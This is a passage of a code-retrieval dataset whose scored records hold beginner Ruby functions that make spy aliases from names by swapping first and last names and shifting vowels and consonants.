vowels.include?(letter)\r\n \t\t\t\t# if the letter returns a true value(is a vowel), re\t-assign a new index to that letter (advanced by 1)\r\n \t\t\t\tnew_vowel_index = vowels.index(letter) + 1\r\n \t\t\t\tnew_vowel = vowels[new_vowel_index]\r\n\t\t\telsif letter == \"z\"\r\n\t\t\t\tletter = \"b\"\r\n\t\t\telsif consonants.include?(letter)\r\n\t\t\t\tnew_consonant_index = consonants.index(letter) + 1\r\n\t\t\t\tnew_consonant = consonants[new_consonant_index]\r\n\t\t\telse \r\n\t\t\t\tletter # Accounts for spaces\r\n\t\t\tend\t\t\r\n\t\tend\r\n\t\t#re capitalize by joining the indiv. letters, splitting into first \tand last, capitalizing, and rejoining\r\n\t\tscrambled_name = name_to_array.join('').split(\" \").each{|i| i\t.capitalize!}.join(\" \")\r\n\t\tscrambled_names[user_name] = scrambled_name\r\n\t\tuser_name = gets.chomp #assigns new input to user_name to see if it should loop back to begining or quit\r\n\t\tend \r\nscrambled_names.each do |user_name, scrambled_name|\r\n\tputs \"#{scrambled_name} is more commonly known as #{user_name}\"\r\nend \r\nend", "title": "" }, { "docid": "3928b68b90f6bfd1ad4ccabf6804bd60", "score": "0.7072283", "text": "def name_scramble(str)\n\tarr = str.downcase.split(\"\")\n\tvowels = [\"a\", \"e\", \"i\", \"o\", \"u\"]\n\tconsonant = [\"b\", \"c\", \"d\", \"f\", \"g\", \"h\", \"j\", \"k\", \"l\", \"m\", \"n\", \"p\", \"q\", \"r\", \"s\", \"t\", \"v\", \"w\", \"x\", \"y\", \"z\"]\n\tstr_new = arr.map do |char|\n\t\tif vowels.include?(char) \n\t\t\tvowels.rotate[vowels.index(char)];\n\t\telsif consonant.include?(char)\n\t\t\tconsonant.rotate[consonant.index(char)]\n\t\tend\n\tend\n\tstr_new.join.capitalize\nend", "title": "" }, { "docid": "3d88aa9c207b1374f4812294614af35b", "score": "0.70577127", "text": "def fake_name(name)\n name = name.split.rotate\n name.map! do |n|\n n.downcase!\n vowels = 'aeiou'\n vowels_shifted = vowels.split('').rotate.join\n consonants = 'bcdfghjklmnpqrstvwxyz'\n consonants_shifted = consonants.split('').rotate.join\n\n n.tr!(vowels, vowels_shifted)\n n.tr!(consonants, consonants_shifted)\n\n n = n.split('')\n n[0] = n[0].upcase\n n = n.join\n end\n name = name.join(' ')\nend", "title": "" }, { "docid": "24b2ee37f598ea10675561f70996b164", "score": "0.70551324", "text": "def next_vowel(str)\n\t# Need to identify the vowels in the English alphabet in a new variable\n\tvowels = [\"a\",\"e\",\"i\",\"o\",\"u\"]\n\t# Need to also identify the consonants in the English alphabet in a new variable\n\tconsonants = [\"b\",\"c\",\"d\",\"f\",\"g\",\"h\",\"j\",\"k\",\"l\",\"m\",\"n\",\"p\",\"q\",\"r\",\n\t\t\"s\",\"t\",\"v\",\"w\",\"x\",\"y\",\"z\"]\n\twords = str.split # Splitting the name into words based on space (' ')\n\t\n\t## Loop into each name\n\ti = 0 # Setting an index to zero\n\tnew_word = [] # Setting up an empty array for our new scrambled word\n\tmod_word = [] # Setting up an empty array to hold the capitalized scrambled word\n\n\twhile i < words.length # Looping into each word\n\t\tchars = words[i].split('') # Split each word into characters\n\t\tnew_chars = chars.map{|char| # Mapping into each character\n\t\t\tif vowels.include?(char) # If the character is included in the vowels variable\n\t\t\t\tvowels.rotate(1)[vowels.index(char)] # Reassign it to the next vowel\n\t\t\telsif consonants.include?(char) # If the character is included in the consonants variable\n\t\t\t\tconsonants.rotate(1)[consonants.index(char)] # Reassign it to the next consonet\n\t\t\telse\n\t\t\t\tchar # Otherwise don't do anything (In case there are odd characters)\n\t\t\tend\n\t\t}\n\t\tnew_word.push(new_chars.join) # rejoin the word\n\t\t# This bit of code capitalizes the first character of the name\n\t\tmod_word.push(new_word[i].slice(0,1).capitalize + new_word[i].slice(1..-1))\n\t\ti += 1 # increment counter\n\tend\n\treturn mod_word.join(' ') # return the rejoined words\nend", "title": "" }, { "docid": "ed2c5a4d75ceefd31ec75c445cfc8008", "score": "0.70511496", "text": "def split_flip_name\n p \"what is your first and last name? (type 'print' to quit)\"\n name = gets.chomp.downcase\n old_name_array = []\n old_name_array << name\n p old_name_array\n split_name = name.split(' ')\n #more elegant to use reverse method\n flip_name = split_name[1], split_name[0]\n #p flip_name\n join_name = flip_name.join(' ').chars\n #p join_name\nend", "title": "" }, { "docid": "1927c26e23cbd2e0feffd05d24c726d3", "score": "0.70472544", "text": "def letter_swap(agent_name)\n vowels = \"aeiou\"\n consonants = \"bcdfghjklmnpqrstvwxyz\"\n letter_swap = agent_name.split(\"\")\n secret_name = []\n letter_swap.map! do |ltr|\n if vowels.include?(ltr)\n secret_name << vowels[vowels.index(ltr)+1]\n elsif consonants.include?(ltr)\n secret_name << consonants [consonants.index(ltr)+1]\n else\n puts \" \"\n end\n end\n\n secret_name.join(\"\").split.map {|ltr| ltr.capitalize}.join(' ').capitalize\n\nend", "title": "" }, { "docid": "0411a55fe9e7526704cb5b90a96d9ccc", "score": "0.70447665", "text": "def fake_name(real_name)\n\treal_full_name = real_name.split(\" \")\n\treal_first_name = real_full_name[0].downcase \n\treal_last_name = real_full_name[1].downcase\n\talphabet = [\"a\",\"b\", \"c\", \"d\", \"e\",\"f\", \"g\", \"h\",\"i\", \"j\", \"k\", \"l\", \"m\", \"n\", \"o\", \"p\", \"q\", \"r\", \"s\", \"t\", \"u\", \"v\", \"w\", \"x\", \"y\", \"z\"]\n\ti = 0\n\tfake_first_name = \"\"\n\tfake_last_name = \"\"\n\tlength_first = real_first_name.length\n\tlength_last = real_last_name.length \n\n\twhile i < length_first\n\t\tif real_first_name[i] == \"z\"\n\t\t\tfake_first_name += \"a\"\n\t\telsif real_first_name[i] == \"a\" || real_first_name[i] ==\"e\" || \n\t\t\t real_first_name[i] == \"i\" || real_first_name[i] == \"o\" || \n\t\t\t real_first_name[i] == \"u\"\n\t\t\tfake_first_name += real_first_name[i] \n\t\telsif \n\t\t\tind = alphabet.index(real_first_name[i])\n\t\t\tfake_first_name += alphabet[ind+1]\n\t\tend \n\t\ti+=1\n\t\t#fake_first_name[0] = fake_first_name[0].upcase\n\tend \n\tfake_first_name\nend", "title": "" }, { "docid": "b4204e47dde6d5d017c70d4fdb2bf4f4", "score": "0.7039135", "text": "def name_change(real_name)\r\n\tnew_name = real_name.downcase.split(' ')\r\n\tnew_name.map! { |real_name|\r\n\t\treal_name.split('').map! { |char|\r\n\t\t\tif \"aeiou\".index(char) != nil\r\n\t\t\t\tchange_char(char, \"aeiou\")\r\n\t\t\telse \r\n\t\t\t\tchange_char(char, \"bcdfghjklmnpqrstvwxyz\")\r\n\t\t\tend\r\n\t\t}\r\n\t}\r\n\tnew_first_name = new_name[1].join('')\r\n\tnew_last_name = new_name[0].join('')\r\n\treturn new_first_name.capitalize + \" \" + new_last_name.capitalize\r\nend", "title": "" }, { "docid": "e86b055f9da9bd85883d7a4c1f35286c", "score": "0.7037292", "text": "def make_fake_name (name)\n\t# Swap first & last name\n\tswap_name = name.split(' ').reverse.join(' ')\n\n\tfake_name = ''\n\tindex = 0\n\twhile index < swap_name.length\n\t\tchar = swap_name[index]\n\t\tif char == ' '\n\t\t\tfake_name += ' '\n\t\telse\n\t\t\tif char == char.downcase\n\t\t\t\tfake_name += get_swapped_char(char)\n\t\t\telse\n\t\t\t\tfake_name += get_swapped_char(char.downcase).upcase\n\t\t\tend\n\t\tend\n\n\t\t# Increment counter\n\t\tindex += 1\n\tend\n\n\tfake_name\nend", "title": "" }, { "docid": "04eaa891bc9b30749ced1f6dd754f9af", "score": "0.70111185", "text": "def scrambler (name)\n\tswapped = name.split.rotate.join(\" \") # Take name and flip it.\n\tswapped.downcase! # Make string lowercase.\n\tname1 = swapped.tr(\"aeiou\", \"eioua\") # Shift all vowels by 1 place.\n\tname2 = name1.tr(\"bcdfghjklmnpqrstvwxyz\", \"cdfghjklmnpqrstvwxyzb\") # Shift all conconants by 1 place.\n\tname3 = name2.split.map(&:capitalize).join(\" \") # Make string into substrings capitalize and join back.\nend", "title": "" }, { "docid": "9048c2a80b739eb9a0b16af35dea2020", "score": "0.701047", "text": "def capitalize(input); end", "title": "" }, { "docid": "36d7afb96d9536a37cfb67a10f3fde68", "score": "0.7003031", "text": "def swap_name_order(name)\n # Split input into first name and last name\n first_name = name.split(' ')[0].capitalize\n last_name = name.split(' ')[1].capitalize\n fake_name_1 = last_name + \" \" + first_name\nend", "title": "" }, { "docid": "a3aeb7d32f9aa828751d37371eb3747d", "score": "0.69755024", "text": "def alias_genrator\n done = false\n real_names = []\n spy_names = []\n\n puts \"Welcome to the super secret alias name generator. What is your full name?\"\n real_name = gets.chomp.downcase\n\n until done\n done = false\n\n real_name_array = real_name.split(' ') # Turn name into array\n\n real_first_name = real_name_array[0].capitalize # Gets and capitalizes first string in real_first_name\n real_last_name = real_name_array.last.capitalize # Gets and capitalizes last string in real_first_name\n\n real_names << real_first_name + \" \" + real_last_name # Stores real name to an array\n\n name_letters = real_name.split('') # Turns user input into array of letters\n\n vowels = [\"a\", \"e\", \"i\", \"o\", \"u\"]\n consonants = [\"b\", \"c\", \"d\", \"f\", \"g\", \"h\", \"j\", \"k\", \"l\", \"m\", \"n\", \"p\", \"q\", \"r\", \"s\", \"t\", \"v\", \"w\", \"x\", \"y\", \"z\" ]\n\n index = 0\n name_letters.each do |letter| # Checks each letter in name_letters to see if the letter is in the vowels array\n if letter == \"u\"\n name_letters[index] = \"a\"\n elsif\n if vowels.include?(letter) # If it is, store the index of the vowel plus one\n vowel_index = vowels.index(letter)+1\n name_letters[index] = vowels[vowel_index] # Store the new letter in the corresponding index of name_letters\n end\n end\n index+=1\n end\n\n index = 0\n name_letters.each do |letter| # Checks each letter in name_letters to see if the letter is in the consonants array\n if letter == \"z\"\n name_letters[index] = \"b\"\n elsif\n if consonants.include?(letter) # If it is, store the index of the consonants plus one\n consonant_index = consonants.index(letter)+1\n name_letters[index] = consonants[consonant_index] # Store the new letter in the corresponding index of name_letters\n end\n end\n index+=1\n end\n\n new_full_name = name_letters.join('').split(' ') # Joins the new letters of name_letters and splits it into two strings\n\n # In case spy's real name includes a middle name\n first_name = new_full_name[0].capitalize # Gets and capitalizes first string in new_full_name\n last_name = new_full_name.last.capitalize # Gets and capitalizes last string in new_full_name\n\n alias_name = last_name + \" \" + first_name\n\n spy_names << alias_name # Stores alias into an array\n\n p \"Great, your cool new alias is #{alias_name}! Enter another name or type 'done' to exit.\"\n answer = gets.chomp.downcase\n\n if answer == \"done\" # Checks if user is done\n done = true\n else\n real_name = answer\n end\n end\n\n num_of_spies = real_names.length # Gets the number of spies\n counter = 0\n\n while counter < num_of_spies\n p \"#{spy_names[counter]} is really #{real_names[counter]}\" # Prints spies real names and aliases\n counter+=1\n end\nend", "title": "" }, { "docid": "5acfb383b3a7ee25e44bdca624aa4429", "score": "0.69148225", "text": "def alias_maker(name)\n \n consonants = \"bcdfghjklmnpqrstvwxz\"\n next_cons = \"cdfghjklmnpqrstvwxzb\"\n \n name.downcase.tr(consonants,next_cons)\n .tr('aeiouy', 'eiouya')\n .split.reverse.each {|word| word.capitalize!}\n .join(' ')\n\n # Separated methods on lines 24-27 for readability\n # First .tr changes all consonants to next\n # Second .tr changes all vowels to next vowel\n # Split names to reverse and capitalize them\n # Rejoin to a single string\n\nend", "title": "" }, { "docid": "7b6e4f8d6cbca5eab206085800acec25", "score": "0.6906051", "text": "def secret_name (name)\r\n\tname = name.downcase\r\n\r\n#create temporary name container \r\ntemp_name = \"\"\r\n#make to strings containing vowels and consonants \r\n#handle edge case by copying the first character to the end\r\nvowels = \"aeioua\"\r\nconsonants = \"bcdfghjklmnpqrstvwxyzb\"\r\n#iterate through each character in the name string and find vowels, consonants and spaces\r\n#add the corresponding letter/character to the temporary name variable and return that variable\r\nname.each_char do |letter| \r\n\tif letter == \" \"\r\n\t\ttemp_name += \" \"\r\n\t\t\r\n\telsif vowels.include?(letter)\r\n \t\ttemp_name += vowels[vowels.index(letter).next]\r\n \t\r\n elsif consonants.include?(letter)\r\n \ttemp_name += consonants[consonants.index(letter).next]\r\n \r\nend\r\n end\r\n return temp_name\r\n end", "title": "" }, { "docid": "3c4fe4709d161f0c92ccef171b98b5ad", "score": "0.68899363", "text": "def fake_name_c2(real_name)\n\treal_full_name = real_name.split(\" \")\n\treal_first_name = real_full_name[0] \n\treal_last_name = real_full_name[1]\n\ti = 0\n\tfake_first_name = \"\"\n\tfake_last_name = \"\"\n\tvowel_index = \"\"\n\tlength_first = real_first_name.length\n\tlength_last = real_last_name.length \n\t\twhile i < length_last\n\t\tif real_last_name[i] == \"z\"\n\t\t\tfake_last_name += \"a\"\n\t\telsif real_last_name[i] == \"a\" || real_last_name[i] ==\"e\" || \n\t\t\t real_last_name[i] == \"i\" || real_last_name[i] == \"o\" || \n\t\t\t real_last_name[i] == \"u\"\n\t\t\tfake_last_name += real_last_name[i] \n\t\telse \n\t\t\tfake_last_name += real_last_name[i].next \n\t\tend \n\t\ti+=1\n\tend\n\tfake_last_name\nend", "title": "" }, { "docid": "f692c7fc3d284f849c3194a48e943d1e", "score": "0.6845421", "text": "def next_vowcon(oldlet) #actually takes in the whole name (not just 1 letter), since it is only split to an array of [first_name, last_name]\r\n vowel = ['a','e','i','o','u']\r\n rot_vow = vowel.rotate #reverses vowel array\r\n consonant = 'bcdfghjklmnpqrstvwxzy'.split('')\r\n rot_cons= consonant.rotate #reverses consonant array\r\n i=0\r\n while i < oldlet.length\r\n if vow_index = vowel.index(oldlet[i])\r\n oldlet[i] = rot_vow[vow_index]\r\n else\r\n cons_index = consonant.index(oldlet[i])\r\n oldlet[i] = rot_cons[cons_index]\r\n end\r\n i +=1\r\n end\r\n return oldlet\r\nend", "title": "" }, { "docid": "1d4d32711e8348ba03d03620d29c6827", "score": "0.6826191", "text": "def vowel_converter(swapped_name)\r\n\t# Forces all letters to be lower case in order for code to work properly\r\n\tcode_name = swapped_name.downcase.chars\r\n\tvowels = %w{a e i o u}\r\n\tcode_name.map! do |letter|\r\n\t\t# Edge case fix to make code work as intended\r\n\t\tif letter == \"u\"\r\n\t\t\tletter = \"a\"\r\n\t\telsif vowels.include?(letter)\r\n\t\t\tvowels[vowels.index(letter) + 1]\r\n\t\telse\r\n\t\t\tletter\r\n\t\tend\r\n\tend\r\n\t# This re-capitalizes the first letter of each part of the name\r\n\tcode_name.join('').split.map(&:capitalize).join(' ')\r\nend", "title": "" }, { "docid": "d9bdf6246b6d4f356c49720de1be53bd", "score": "0.68144196", "text": "def consonant_changer(name)\n consonant_string = \"bcdfghjklmnpqrstvwxyz\"\n name_array = name.downcase.chars\n new_name = []\n name_array.each do |character|\n if character == \"z\"\n character = \"b\"\n new_name << character\n elsif consonant_string.include? character\n character = consonant_string[consonant_string.index(character) +1]\n new_name << character\n else\n new_name << character\n end\n end\n p new_name.join(\"\").split(\" \").each {|word| word.capitalize!}.join(\" \")\nend", "title": "" }, { "docid": "6a031eeb934db25399132fb00c3415ab", "score": "0.680453", "text": "def capitalize(name)\n secret_name = name.split(\" \").map do |word|\n word.capitalize\n end\n secret_name.join(\" \")\nend", "title": "" }, { "docid": "bf38e991867d8a81ee57e402e12decba", "score": "0.6803467", "text": "def name_muddler (array)\nvowels = [\"a\",\"e\",\"i\",\"o\",\"u\"]\nconsonants = \"bcdfghjklmnpqrstvwxyz\"\nconsonant_array = consonants.chars \nnew_name = []\nindex = 0\nwhile index < array.length\n if array[index] == \"u\"\n new_name[index] = \"a\"\n elsif vowels.include?(array[index])\n new_name[index] = vowels[vowels.index(array[index]).next]\n elsif array[index] == \"z\"\n new_name[index] = \"b\"\n else new_name[index] = consonant_array[consonant_array.index(array[index]).next]\n end\n index += 1\nend \nreturn new_name\nend", "title": "" }, { "docid": "5d35684f2a5d05712e5517e608af6ade", "score": "0.6800427", "text": "def vowel_swap (secret_name)\n\t#first separate string into an array of characters\n\t#the loop through looking for vowels\n\t#use each do loop to then go through each character\n\t#check to see if it is a vowel using gsub and replace with the next vowel\n\t#have to replace with an uppercase vowel, so when a becomes 'e' and then I check for 'e's, those 'a's don't become 'i's and etc\n\tsecret_name = secret_name.split('')\n\tsecret_name.each do |letters|\n\t\tletters.gsub!(/[a]/, \"E\")\n\t\tletters.gsub!(/[e]/, \"I\")\n\t\tletters.gsub!(/[i]/, \"O\")\n\t\tletters.gsub!(/[o]/, \"U\")\n\t\tletters.gsub!(/[u]/, \"A\")\n\tend\n\t#then downcase eveything\n\tsecret_name.map!{|letter| letter.downcase}\n\t\nend", "title": "" }, { "docid": "ca5e8a0a5ad242d64154461f771232ca", "score": "0.6784638", "text": "def collect_name\n\tputs \"Please enter full name of the student you wish to add / amend.\"\n\tprint \"Alternatively press enter to exit and print results.\\n > \"\n\tname = gets.chomp.split.map(&:capitalize).join(' ').strip\n\tname\nend", "title": "" }, { "docid": "cd1b952205982e031179e69fe3870f47", "score": "0.677176", "text": "def consenant_swap(name)\r\n name = name.downcase\r\n consenants = \"bcdfghjklmnpqrstvwxyz\"\r\n name_index = 0\r\n cons_index = 0\r\n while name_index < name.length\r\n if name[name_index] == \"a\" || name[name_index] == \"e\" ||name[name_index] == \"i\"|| name[name_index] == \"o\" || name[name_index] == \"u\" || name[name_index] == \" \"\r\n name_index += 1\r\n elsif name[name_index] == \"z\"\r\n name[name_index] = \"b\"\r\n name_index += 1\r\n else\r\n until name[name_index] == consenants[cons_index]\r\n cons_index += 1\r\n end\r\n name[name_index] = consenants[cons_index + 1]\r\n name_index += 1\r\n end\r\n cons_index = 0\r\n end\r\n name\r\nend", "title": "" }, { "docid": "a450ede9e4a6f6450fbd9eab45aba79b", "score": "0.6751784", "text": "def get_input_s\n\tgets.chomp.capitalize\nend", "title": "" }, { "docid": "a358e89406e1fe9265747ff56578ea86", "score": "0.6747909", "text": "def titleize(user_input)\n input_array = []\n user_input = user_input.split(' ')\n user_input.each do |word|\n input_array.push((word.capitalize))\n end\n input_array.join(' ') \n end", "title": "" }, { "docid": "9312b35dd96e9bcbd62b8d602dc7e03e", "score": "0.67395484", "text": "def codename_method\ncode_names = []\n # set up a loop to ask agent for names continuously, until 'done'\noption = ''\nuntil option == \"quit\"\n # get user input and call methods to swap and scramble the name\n puts \"What is your real name, agent?\"\n agent_name = gets.chomp\n # call both methods to swap and scramble name -> string output, use split to convert\n #to an array for later iteration\n alias_name = code_letter(swap_split_name(agent_name)).split\n # use map method to get both words in the array and capitalize both, use bang op\n p alias_name\n alias_name.map do |x|\n x.capitalize!\n end\n alias_name = alias_name.join(' ')\n # Give agent a new name!\n puts \"Agent, your new identity is: #{alias_name}\"\n # add alias_name to array code_names\n code_names << [agent_name, alias_name]\n # ask user for more input if wanted, otherwise quit\n puts \"Would you like to enter another name? Press any key and enter.\n If Finished, type 'quit'.\"\n option = gets.chomp\n end\n\n\n # Finally, iterate through the array, and print all user input before program exits.\ncode_names.each do |real, spy|\n puts \"Agent's real name: #{real}.\"\n puts \"Agent's code name: #{spy}.\"\nend\nend", "title": "" }, { "docid": "5e41e536a6dff4fcba8542eb224fd971", "score": "0.67355996", "text": "def alias_manager(name)\n name = name.downcase\n name = name.split(\" \").reverse.join(\" \")\n name = name.split(\"\")\n index = 0\n consonant = \"bcdfghjklmnpqrstvwqyz\"\n vowel = \"aeiou\"\n while index < name.length\n if\n !consonant.index(name[index]) && !vowel.index(name[index])\n elsif\n index_of_letter = vowel.index(name[index])\n new_letter = vowel[index_of_letter + 1]\n name[index] = new_letter\n else\n index_of_letter = consonant.index(name[index])\n new_letter = consonant[index_of_letter + 1]\n name[index]= new_letter\n end\n index += 1\n end\n name.join(\"\")\nend", "title": "" }, { "docid": "c1dd1a04831f21b28558c096ebbe7a70", "score": "0.6734209", "text": "def next_letter(name)\n vowels = \"aeiou\".split(\"\")\n consonants = \"bcdfghjklmnpqrstvwxyz\".split(\"\")\n spy_name = []\n \n name.split(\"\").map do |letter|\n if vowels.include?(letter)\n vowels.index(letter)\n index = vowels.index(letter)\n new_letter = vowels[index + 1]\n new_letter\n elsif consonants.include?(letter)\n consonants.index(letter)\n index = consonants.index(letter)\n new_letter = consonants[index + 1]\n new_letter\n elsif letter == \" \"\n new_letter = \" \"\n new_letter\n end\n spy_name.push(new_letter)\n end\n \n spy_name.join(\"\")\nend", "title": "" }, { "docid": "80b5ede23b51be01fa3ac31c4647d955", "score": "0.672186", "text": "def encrypt_name(name)\n\n\t\tvowels = [\"a\", \"e\", \"i\", \"o\", \"u\"]\n\t\tconsonants = [\"b\", \"c\", \"d\", \"f\", \"g\", \"h\", \"i\", \"j\", \"k\", \"l\", \"m\", \"n\", \"p\", \"q\", \"r\", \"s\", \"t\", \"v\", \"w\", \"x\", \"y\", \"z\"]\n\t\talias_name = \"\"\n\t\t\t\n\t\t\tname.each_char do |letter|\n\t\t\t# if the letter is inside the array called vowels\n\t\t\t\tif vowels.include?(letter)\n\t\t\t\t\t# replace the letter with the next vowel in the array\n\t\t\t\t\t# put it into alias_name\n\t\t\t\t\talias_name << vowels[vowels.index(letter)+1]\n\t\t\t\t# replace the letter with the next consonant in the array\n\t\t\t\t# put it into alias_name\n\t\t\t\telsif consonants.include?(letter)\n\t\t\t\t\talias_name << consonants[consonants.index(letter)+1]\n\t\t\t\t# put letter into alias_name\n\t\t\t\t# this is for the spaces\t\n\t\t\t\telse\n\t\t\t\t\talias_name << letter\t\n\t\t\t\tend\n\t\t\tend\n\t\t\n\t\talias_name.split.reverse.map(&:capitalize)*' '\n\nend", "title": "" }, { "docid": "84c7487173f5261eacead3a805dae7c6", "score": "0.67212296", "text": "def fake_identities(real_name)\n\n # input is downcase, split, and has reverse positions\n new_alias = real_name.downcase.split(' ').reverse\n # use map! to mutate name\n new_alias.map! {|name_info| name_info.split('')}\n\n new_alias.map! do |name_info|\n name_info.map! do |vowel|\n\n if vowel == \"z\"\n vowel = \"a\"\n elsif next_vowels(vowel) == vowel\n vowel.next!\n if next_vowels(vowel) != vowel\n vowel.next!\n end\n vowel\n else\n next_vowels(vowel)\n end\n end\n # returns a string and capitalizes first letter\n name_info.join('').capitalize\n end\n new_alias.join(' ') # keeps blank space here, otherwise it doesnt work\nend", "title": "" }, { "docid": "77132c84d5dc7ea33655ff8e540cf785", "score": "0.671862", "text": "def next_vowel(name)\n\tvowels = %w( a e i o u )\n\tname = name.downcase!.split('')\n\tnew_name = name.map do |vowels_method|\n\t\tif vowels.include?(vowels_method)\n\t\t\tvowels.rotate(1)[vowels.index(vowels_method)]\n\t\telsif vowels == 'u'\n\t\t\tvowels.replace('a')\t\n\t\telse\n\t\t\tvowels_method\n\t\tend\n\tend\n\tnew_name.join.capitalize\nend", "title": "" }, { "docid": "744b00e779abf87a78bd4fea8c37eecd", "score": "0.670946", "text": "def vowel_changer(name)\n vowel_guide = [\"a\", \"e\", \"i\", \"o\", \"u\"]\n name.each do |names|\n name = names.split('')\n name\n name.map! do |char|\n index = 0\n while index < vowel_guide.length\n if char == vowel_guide[index]\n char = vowel_guide[index += 1]\n index += 1\n elsif char == \"u\"\n char = \"a\"\n index += 1\n else\n char\n index += 1\n end\n\n end\n char\n end\n name\n end\n name\nend", "title": "" }, { "docid": "ce1c03b1de34875241cb21e826740a43", "score": "0.67063785", "text": "def consonant_swap (secret_name)\n\t\n\tsecret_name.map do |letters|\n\t\t\n\t\tif letters == \" \"\n\t\t\tletters\n\t\telsif letters == \"z\"\n\t\t\tletters.gsub!(/[z]/, \"a\")\n\t\telsif letters =~ /[aeiou]/\n\t\t\tletters\n\t\telse \n\t\t\tletters.next!\n\t\t\tif letters =~ /[aeiou]/\n\t\t\t\tletters.next!\n\t\t\tend\n\t\tend\n\n\tend\n\tsecret_name\nend", "title": "" }, { "docid": "54f4bcf445b9416ff3f9b5fec6bdfd5b", "score": "0.66814095", "text": "def scramble\n\tconsonants = ['b', 'c', 'd', 'f', 'g', 'h', 'j', 'k', 'l', 'm', 'n', 'p', 'q', 'r', 's', 't', 'v', 'w', 'x', 'y', 'z', 'B', 'C', 'D', 'F', 'G', 'H', 'J', 'K', 'L', 'M', 'N', 'P', 'Q', 'R', 'S', 'T', 'V', 'W', 'X', 'Y', 'Z']\n\tvowels = ['a', 'e', 'i', 'o', 'u', 'A', 'E', 'I', 'O', 'U']\n\n\tputs \"What name would you like to use?\"\n# Get name and return a string\n\t\tspy_name = gets.chomp.to_str\n# Turn into an array to swap name places\n\t\trotate_name = spy_name.split(' ').rotate!\n\t\tp rotate_name\n# Change all of the vowels\n\t\tscramble_name = rotate_name.join(' ')\n\t\tnew_spy_name = scramble_name.split(' ')\n\t\tvowels.each do |vowel|\n\t\t\tnew_spy_name << vowel.next\n\t\tend\nend", "title": "" }, { "docid": "158cc94d0357edbda0a00c51960c9d42", "score": "0.6675199", "text": "def swap_name(real_name)\n swapped_name = real_name.split(/ /).reverse #split and swap first name and last name\n last_name = swapped_name[0].chars\n first_name = swapped_name[1].chars\n swapped_name = [last_name, first_name] #split characters of the first and last names\nend", "title": "" }, { "docid": "737e39930c4993605961b5169dc8cdd3", "score": "0.6674328", "text": "def spy_name(real_name)\n capitalize(next_letter(swap(real_name)))\nend", "title": "" }, { "docid": "b1aa64b5c76bf3f87dad9b9093814c2c", "score": "0.6673711", "text": "def fake_name(letters)\r\n\tvowel_arr = ['a', 'e', 'i', 'o', 'u']\r\n\tletters.map! do |letter|\r\n\t\tif vowel_arr.include?(letter.downcase)\r\n\t\t\tif letter.upcase! == nil\r\n\t\t\t\t\tif letter.downcase == vowel_arr[4]\r\n\t\t\t\t\t\tletter = vowel_arr[0].upcase\r\n\t\t\t\t\telse\r\n\t\t\t\t\t\tnumber = vowel_arr.index(letter.downcase)\r\n\t\t\t\t\t\tnumber = number + 1\r\n\t\t\t\t\t\tletter = vowel_arr[number].upcase\r\n\t\t\t\t\tend\r\n\t\t\telse\r\n\t\t\t\tnumber = vowel_arr.index(letter.downcase)\r\n\t\t\t\t\tif number == 4\r\n\t\t\t\t\t\tletter = vowel_arr[0]\r\n\t\t\t\t\telse\r\n\t\t\t\t\t\tnumber = number + 1\r\n\t\t\t\t\t\tletter = vowel_arr[number]\r\n\t\t\t\t\tend\r\n\t\t\tend\r\n\t\telsif \"abcdefghijklmnopqrstuvwxyz\".include?(letter.downcase) == false\r\n\t\t\tletter = letter\r\n\t\telse \r\n\t\t\t\tif letter.downcase == 'z'\r\n\t\t\t\t\tletter = (letter.chr.ord - 24). chr\r\n\t\t\t\telsif vowel_arr.include?(letter.next.downcase) == false\r\n\t\t\t\t\tletter = letter.next\r\n\t\t\t\telse\r\n\t\t\t\t\tletter = letter.next.next\r\n\t\t\t\tend\r\n\t\tend\r\n\tend\r\nletters.join(\"\")\r\nend", "title": "" }, { "docid": "4b0ce1e07680e20a27dfb646f9dad603", "score": "0.6669115", "text": "def undercover_name(name)\n name.downcase.split(' ').map!{|name| name.split('').map! {|letter| next_letter(letter)}.join('').capitalize}.reverse.join(\" \")\nend", "title": "" }, { "docid": "1e0f904456f65191ad243011a88c347d", "score": "0.6668002", "text": "def reversed_fullname\n puts \"enter a first name\"\n first_name = gets.chomp\n puts \"enter a second name\"\n second_name = gets.chomp\n puts \"#{second_name} #{first_name}\"\nend", "title": "" }, { "docid": "fd21e0b9a526f29c23263246dee885ae", "score": "0.66660196", "text": "def codeName (str)\n\tstr = str.to_s.downcase.split(' ')\n\tk = str[0]\n\tstr[0] = str[1]\n\tstr[1] = k\n\tvowels = \"aeiou\"\n\tconsonants = \"bcdfghjklmnpqrstvwxyz\"\n\t\n\tlastName = str[0].chars\n\tfirstName = str[1].chars\n\t\n\tfor i in 0..(lastName.length-1)\n\t\tif lastName[i] == \"a\" || lastName[i] == \"e\" || lastName[i] == \"i\" || lastName[i] == \"o\" || lastName[i] == \"u\"\n\t\t\tlastName[i] = vowels[vowels.index(lastName[i])+1]\n\t\telse\n\t\t\tlastName[i] = consonants[consonants.index(lastName[i])+1]\n\t\tend\n\tend\n\t\n\tfor i in 0..(firstName.length-1)\n\t\tif firstName[i] == \"a\" || firstName[i] == \"e\" || firstName[i] == \"i\" || firstName[i] == \"o\" || firstName[i] == \"u\"\n\t\t\tfirstName[i] = vowels[vowels.index(firstName[i])+1]\n\t\telse\n\t\t\tfirstName[i] = consonants[consonants.index(firstName[i])+1]\n\t\tend\n\tend\n\tstr[0] = lastName.join('').capitalize\n\tstr[1] = firstName.join('').capitalize\n\tstr.join(' ')\n\t\nend", "title": "" }, { "docid": "c0a4e2a23caa59885e2073dc5ed4ddcc", "score": "0.66564065", "text": "def swap_name(name)\n new_name = name.downcase.split.reverse\n new_name = new_name.join(\" \")\n new_name = new_name.chars\n new_name.map! do |letter|\n if letter == \" \"\n \" \"\n else\n letter_changer(letter)\n end\n end\n new_name = new_name.join('')\nend", "title": "" }, { "docid": "fe641d835ff5b5caf51e15546899f878", "score": "0.66406345", "text": "def create_alias(real_name)\n\n vowels = [\"a\", \"e\", \"i\", \"o\", \"u\"]\n consonants = [\"b\", \"c\", \"d\", \"f\", \"g\", \"h\", \"j\",\n \"k\", \"l\", \"m\", \"n\", \"p\", \"q\", \"r\", \"s\", \"t\",\n \"v\", \"w\", \"x\", \"y\", \"z\"]\n\n # takes the real name, splits into words, reverses the order, joins into string again, and lowercases\n reversed_lowcase_str = real_name.split(\" \").reverse.join(\" \").downcase\n name_char_array = reversed_lowcase_str.chars\n fake_name_char_arr = name_char_array.map! do |letter|\n if letter == \" \"\n letter\n elsif letter == \"u\"\n letter = \"a\"\n elsif letter == \"z\"\n letter = \"b\"\n elsif vowels.include?(letter)\n letter = vowels[vowels.index(letter) + 1] # assigns the letter to be the next vowel\n elsif consonants.include?(letter)\n letter = consonants[consonants.index(letter) + 1]\n end\n end\n\n# rejoins the character 